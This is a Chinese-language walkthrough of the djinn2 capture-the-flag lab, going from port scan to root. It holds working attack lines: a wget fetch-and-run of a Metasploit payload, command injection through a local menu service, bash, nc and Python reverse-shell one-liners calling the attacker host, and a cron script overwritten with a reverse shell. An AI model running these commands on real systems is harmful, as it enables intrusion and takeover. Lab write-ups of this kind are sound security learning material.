欢迎来到 djinn2 的世界,首先我们得对企业环境些许了解,否则你将无法顺畅地做该练习,在企业中一般都会有备份和邮箱,所以在该练习中,要注意备份和邮箱,一般放置的目录为 /var
目录,除此之外,作者还给我们一个小提示,就是在 5000 端口服务中有 RCE 存在,我们需要利用它,除此之外,介绍一下 MSF 中的 web_delivery 模块,它用于在我们有一定的访问权限,但是没有 shell 的情况下,让咋们开始吧:D
nmap -A -p- 192.168.67.33
共开放了 5 个端口,21 22 1337 5000 7331
对应的服务分别为:FTP SSH GAME HTTP HTTP
21 —> FTP:
从 nmap 扫描出来的结果可以看到可用 Anonymous 登陆,并且有三个文件,这在 djinn1 环节也有,我们将其下载下来
ftp 192.168.67.33 21
get creds.txt
get game.txt
get message.txt
看来是由于上次我们的入侵,导致 sam 被辞退了,sam 对不起…我也很无奈,这次雇佣了一个新的安全工程师:Ugtan,而且老板 0xmzfr 还臭骂了 nitish 一顿…心疼 nitish 三秒钟
除此之外,在 creds.txt 文件中我们得到了:nitu:7846A$56 但暂时不知道有什么用
22 —> SSH:
有 22 端口的出现且是 open,看来是要想尽办法拿到 nitish (概率较大)或者 ugtan 的账号和密码
1337 --> Game:
在 djinn1 中获取到了 SSH 敲门的口令,这一关它什么都不给我们…
nc 192.168.67.33 1337
有 3 个选项,分别尝试后没有得到什么想要的东西…
5000 —> HTTP:
不允许使用该方法请求 URL,看来地址栏请求的是使用 GET 方法而真正要的可能是 PUT POST 等其它方法,一般是 POST,但如果是 POST 的话,还不知道具体 POST 是什么…不过还是Burpsuite 抓包修改
Repeater 模块下,将 GET 修改为 POST 得如下:
但也暂时没有得到什么有效数据…暂时搁置
跑下目录:
dirb http://192.168.67.33:5000/ /usr/share/wordlists/dirb/big.txt
7331 —> HTTP:
熟悉的界面,同样先抛下目录
dirb http://192.168.67.33:7331/ /usr/share/wordlists/dirb/big.txt
得到三个:robots.txt | source | wish 查看…
查看刚刚下载得到的 source ,
尤其需要注意的是:
看来这对我们刚刚在 5000 端口上 POST 请求是有帮助的,我们在 POST 后边加上 username=REDCATED 和 password=RETCATED
还记得作者提示说在 5000 端口提供的服务存在 RCE 吗?我们尝试把 username 的 REDCATED 改成 id 试试,成功执行:
构造发包,注意这里空格应改为 + 号,否则无法识别…
ls+-la
--> 得到 app.py
cat+app.py
--> 看来把 nc bin bash python 都过滤了…
这样子就把人难到? —> 我们有一定的访问权限,但是没有完整的 shell ,用啥?可以用 MSF 中的 web_delivery 模块,具体路径为: exploit/multi/script/web_delivery
:
use exploit/multi/script/web_delivery
show options
set payload payload/linux/x64/shell_reverse_tcp
set LHOST 192.168.67.221
show targets
set target 6
exploit
wget+-qO+/tmp/oX8DPm7E+--no-check-certificate+http://192.168.67.221:8080/9OOYsWk
chmod+777+/tmp/oX8DPm7E
/tmp/oX8DPm7E
成功获取 sessions ,sessions -i 1
python -c 'import pty;pty.spawn("/bin/bash")'
说是找不到 python,但是前面是有 app.py 这么个文件可以执行的,可能是版本的问题:
python3 -c 'import pty;pty.spawn("/bin/bash")'
得到 shell:
sudo -l
--> 没有东东
还记得一开始说的,这是一家公司,公司里常有备份和邮件且一般存放在 /var 吗?我们去看看
cd /var
ls -la
cd mail
ls -la
发现权限不足,我们再看看 backups
cd ..
cd backups
ls -la
可以看到这里有:-rwxr-xr-x 1 nitish nitish 2174 Dec 20 2019 nitu.kdbx
看到 nitu 可以知道我们前面得到一个 creds.txt 的文件,内有:nitu:7846A$56 所以猜测是打开该文件的密码,通过搜索引擎可以知道,KDBX 是加密的密码存储数据库,我们这里已经有密码了,怎么打开呢?———— KeePass
首先,下载 keepass
下载完成之后尝试用 scp 命令到 kali ,但是无法…说是权限不足,还记得在 djinn 我们创建了一个 SimpleHTTPServer 然后下载 .pyc 文件反编译来提权吗?我们这里同样可以这样做,只不过现在 python2 版本变成了,相应的我们创建服务器的命令稍微改动下就好了
python3 -m http.server
下载 nitu.kdbx,然后再用 keeppass 打开,然后右键复制密码得到 —> &HtMGd$LJB
但是是哪个用户的呢?我们知道公司现有三个管理网络的,包括0xmzfr,nitish,ugtan,很有可能还是 nitish,ssh登陆一下:
ssh nitish@192.168.67.33
进入 /home/nitish 查看有什么内容:貌似没有啥东西
然后找遍了各大目录,能找的都找了,还是没有发现有什么期待的文件,尝试 “sudo -l” 也米有啥东西…
然后想着查看进程,端口
ps -aux
netstat -pantu
发现一个 2843 端口是开着的,尝试连接,注意这里是 127.0.0.1 ,所以只能用 nitish 连接…
尝试各个功能,可以发现功能 5 和功能 6 是相关联的,功能 6 可以选择功能 5 创建的内容,而且总是会先 cat,所以猜测是调用了系统命令,故这里很可能存在命令执行漏洞,我们加一个分号,先看看该功能是以什么身份(id)调用的…
选择 5,创建 1;id
描述随便写
看来执行时十一 ugtan 身份执行的,那就可以获取一个反弹 shell 给 kali
kali 监听: nc -vnlp 8686
方法一:bash 反弹 shell
创建:1;bash -i >& /dev/tcp/192.168.67.33/8686 0>&1
无法反弹 shell
方法二:nc 反弹 shell
创建:1;nc 192.168.67.8686 -e /bin/bash
无法反弹 shell
方法三:python 反弹 shell
创建:
5
1;python3 -c 'import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.67.221",8686));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
6
10
获取反弹 shell:
python c 'import pty;pty.spawn("/bin/bash")'
cd /home/ugtan
ls -la
没有什么东东,还记得当时我们在 /var 目录下查看的 mail 吗?现在我们有了 ugtan 可以去看看咯
cd /var/mail
ls -la
cat ugtan
信中说在 ugtan 的家目录下设置了一个定时任务 clean.sh
我们再到 ugtan 的家目录看看…看到有有一个 best目录,我们一步步进去,一直可以到 /home/ugtan/best/admin/ever 下
创建输入:echo "bash -i >& /dev/tcp/192.168.67.221/6868 0>&1" > clean.sh
查看:cat clean.sh
kali 这边: nc -vnlp 6868
Waiting…
得到 shell --> id
--> cd /root
--> ./proof.sh
总结:
1.分析2.MSF web_delivery模块使用3.熟悉业务环境之 backups4.kdbx 使用5.端口查清6.漏洞执行7.熟悉业务环境之 mail8.简单反弹shell的编写
😄